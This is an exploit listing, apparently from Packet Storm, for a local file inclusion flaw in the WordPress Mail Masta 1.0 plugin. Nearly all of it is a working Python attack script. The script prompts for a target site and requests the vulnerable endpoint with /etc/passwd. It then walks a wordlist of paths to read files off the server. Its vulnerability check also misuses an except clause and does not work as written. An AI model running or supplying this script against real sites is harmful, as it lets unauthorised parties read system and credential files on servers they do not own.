WordPress Mail Masta 1.0 Local File Inclusion

WordPress Mail Masta plugin version 1.0 suffers from a local file inclusion vulnerability.


MD5 | 904e1bbfd06fac7ad4b4f0f51166be0e

Download
# Exploit Title: WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)
# Date: 2021-08-24
# Exploit Author: Matheus Alexandre [Xcatolin]
# Software Link: https://downloads.wordpress.org/plugin/mail-masta.zip
# Version: 1.0

WordPress Plugin Mail Masta is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input.

* Make sure to modify the wordlist path to your preferred wordlist. You can also download the one i used at Github: 
https://github.com/Xcatolin/Personal-Exploits/

#!/usr/bin/python

# Exploit for the Wordpress plugin mail-masta 1.0 LFI vulnerability

import requests
from requests.exceptions import ConnectionError

class bcolors:
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    ITALIC   = '\33[3m'

print(bcolors.BOLD + """\
                 __  __      _ _     __  __         _                  
                |  \/  |__ _(_) |___|  \/  |__ _ __| |_ __ _           
                | |\/| / _` | | |___| |\/| / _` (_-<  _/ _` |          
                |_|  |_\__,_|_|_|   |_|  |_\__,_/__/\__\__,_|          
  _                 _   ___ _ _       ___         _         _          
 | |   ___  __ __ _| | | __(_) |___  |_ _|_ _  __| |_  _ __(_)___ _ _  
 | |__/ _ \/ _/ _` | | | _|| | / -_)  | || ' \/ _| | || (_-< / _ \ ' \ 
 |____\___/\__\__,_|_| |_| |_|_\___| |___|_||_\__|_|\_,_/__/_\___/_||_|

                                 
          |_   .  \_/ _ _ |_ _ |. _  
          |_)\/.  / \(_(_||_(_)||| ) 
             /                       
     """ + bcolors.ENDC)

endpoint = "/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl="
valid = "/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"


print (bcolors.WARNING + "[+] Insert the target including the WordPress instance:" + bcolors.ENDC)
print (bcolors.ITALIC + "ex: http://target.com/wordpress\n" + bcolors.ENDC)
target = raw_input("~# ")

print (bcolors.WARNING + "[*] Checking if the target is alive..." + bcolors.ENDC)
try:
  request = requests.get(target)
except ConnectionError:
  print (bcolors.FAIL + "[X] Target not available. Please check the URL you've entered." + bcolors.ENDC)
  exit(1)
else:
  print (bcolors.OKGREEN + "[!] Target up and running!\n" + bcolors.ENDC)

print (bcolors.WARNING + "[*] Checking if the Mail-Masta endpoint is vulnerable..." + bcolors.ENDC)
try:
  response = requests.get(target + valid)
except len(response.content) < 1000 :
  print (bcolors.FAIL + "[X] Endpoint not vulnerable." + bcolors.ENDC)
  exit(1)
else:
  print (bcolors.OKGREEN + "[!] Endpoint vulnerable!\n" + bcolors.ENDC)

print (bcolors.WARNING + "[*] Fuzzing for files in the system..." + bcolors.ENDC)
wordlist='wordlist.txt' ## Change here
lines=open(wordlist, "r").readlines()

for i in range(0, len(lines)):
  word=lines[i].replace("\n","")
  response = requests.get(target + endpoint + word)
  if len(response.content) > 500 :
    print (bcolors.OKGREEN + "[!] " + bcolors.ENDC) + "File",word,"found!"

Source: packetstormsecurity.com
Related Posts